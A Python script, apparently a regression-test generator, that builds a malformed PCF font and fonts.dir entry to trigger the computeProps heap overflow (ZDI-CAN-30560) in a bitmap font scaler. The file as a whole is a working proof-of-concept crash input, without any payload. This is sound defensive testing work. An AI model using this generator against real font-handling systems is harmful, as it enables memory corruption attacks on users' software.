1 #!/usr/bin/env python3 2 """ 3 Generate a malicious PCF font that triggers the computeProps property 4 buffer heap overflow (ZDI-CAN-30560). 5 6 The font has 40 duplicate MIN_SPACE properties. When the bitmap scaler 7 processes this font, computeProps writes 2 slots per scaledX match with 8 no bounds check, overflowing the fixed 70-slot property buffer. 9 10 With the fix in bitscale.c, computeProps checks remaining buffer capacity 11 and silently skips properties that would overflow. 12 13 Usage: 14 python3 gen_evil_pcf_props.py <output_dir> 15 16 Creates <output_dir>/evil-props.pcf and <output_dir>/fonts.dir 17 The font is stored at pixel=10; opening at a different pixel size 18 triggers the scaling path. 19 """ 20 21 import struct 22 import sys 23 import os 24 25 PCF_DEFAULT_FORMAT = 0x00000000 26 PCF_PROPERTIES = 1 27 PCF_ACCELERATORS = 2 28 PCF_METRICS = 4 29 PCF_BITMAPS = 8 30 PCF_BDF_ENCODINGS = 32 31 32 33 def u32(x): 34 return struct.pack("<I", x & 0xFFFFFFFF) 35 36 37 def i32(x): 38 return struct.pack("<i", x) 39 40 41 def u16(x): 42 return struct.pack("<H", x & 0xFFFF) 43 44 45 def i16(x): 46 return struct.pack("<h", x) 47 48 49 def u8(x): 50 return struct.pack("<B", x & 0xFF) 51 52 53 def xCharInfo(lsb, rsb, cw, asc, desc, attr): 54 return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr) 55 56 57 NUM_MIN_SPACE = 40 58 PROP_VALUE_BASE = 0x11223300 59 60 MAX_LSB, MAX_RSB = 0, 4 61 MAX_ASCENT, MAX_DESCENT = 2, 2 62 63 # --- PROPERTIES (40 duplicate MIN_SPACE) --- 64 prop_name_atom = b"MIN_SPACE\0" 65 properties = b"" 66 properties += u32(PCF_DEFAULT_FORMAT) 67 properties += i32(NUM_MIN_SPACE) 68 for i in range(NUM_MIN_SPACE): 69 properties += i32(0) # name offset = 0 -> "MIN_SPACE" 70 properties += u8(0) # isStringProp = 0 71 properties += i32(PROP_VALUE_BASE + i) # unique value 72 pad_count = (4 - (NUM_MIN_SPACE % 4)) % 4 73 properties += b"\x00" * pad_count 74 properties += i32(len(prop_name_atom)) 75 properties += prop_name_atom 76 77 # --- ACCELERATORS --- 78 accel = b"" 79 accel += u32(PCF_DEFAULT_FORMAT) 80 accel += u8(0) * 8 81 accel += i32(MAX_ASCENT) 82 accel += i32(MAX_DESCENT) 83 accel += i32(0) 84 accel += xCharInfo(0, 0, 0, 0, 0, 0) 85 accel += xCharInfo(MAX_LSB, MAX_RSB, MAX_RSB, MAX_ASCENT, MAX_DESCENT, 0) 86 87 # --- METRICS (1 glyph, small) --- 88 metrics = b"" 89 metrics += u32(PCF_DEFAULT_FORMAT) 90 metrics += i32(1) 91 metrics += xCharInfo(MAX_LSB, MAX_RSB, MAX_RSB, MAX_ASCENT, MAX_DESCENT, 0) 92 93 # --- BITMAPS --- 94 bitmap_data = b"\x80" * 4 95 BITMAP_SIZES = [4, 8, 32, 64] 96 bitmaps = b"" 97 bitmaps += u32(PCF_DEFAULT_FORMAT) 98 bitmaps += i32(1) 99 bitmaps += u32(0) 100 for sz in BITMAP_SIZES: 101 bitmaps += u32(sz) 102 bitmaps += bitmap_data 103 104 # --- BDF_ENCODINGS --- 105 encodings = b"" 106 encodings += u32(PCF_DEFAULT_FORMAT) 107 encodings += u16(0) + u16(0) 108 encodings += u16(0) + u16(0) 109 encodings += u16(0) 110 encodings += u16(0) 111 112 # --- Assemble --- 113 TABLE_COUNT = 5 114 BODY_START = 8 + TABLE_COUNT * 16 115 116 properties_off = BODY_START 117 accel_off = properties_off + len(properties) 118 metrics_off = accel_off + len(accel) 119 bitmaps_off = metrics_off + len(metrics) 120 encodings_off = bitmaps_off + len(bitmaps) 121 122 123 def toc(type_, format_, size, offset): 124 return u32(type_) + u32(format_) + u32(size) + u32(offset) 125 126 127 out = b"\x01fcp" + u32(TABLE_COUNT) 128 out += toc(PCF_PROPERTIES, 0, len(properties), properties_off) 129 out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off) 130 out += toc(PCF_METRICS, 0, len(metrics), metrics_off) 131 out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off) 132 out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off) 133 out += properties + accel + metrics + bitmaps + encodings 134 135 output_dir = sys.argv[1] if len(sys.argv) > 1 else "." 136 os.makedirs(output_dir, exist_ok=True) 137 138 pcf_name = "evil-props.pcf" 139 # Stored at pixel=10; test must open at different size to trigger scaler 140 xlfd = "-evil-props-medium-r-normal--10-100-75-75-c-80-iso10646-1" 141 142 with open(os.path.join(output_dir, pcf_name), "wb") as f: 143 f.write(out) 144 145 with open(os.path.join(output_dir, "fonts.dir"), "w") as f: 146 f.write("1\n") 147 f.write(f"{pcf_name} {xlfd}\n") 148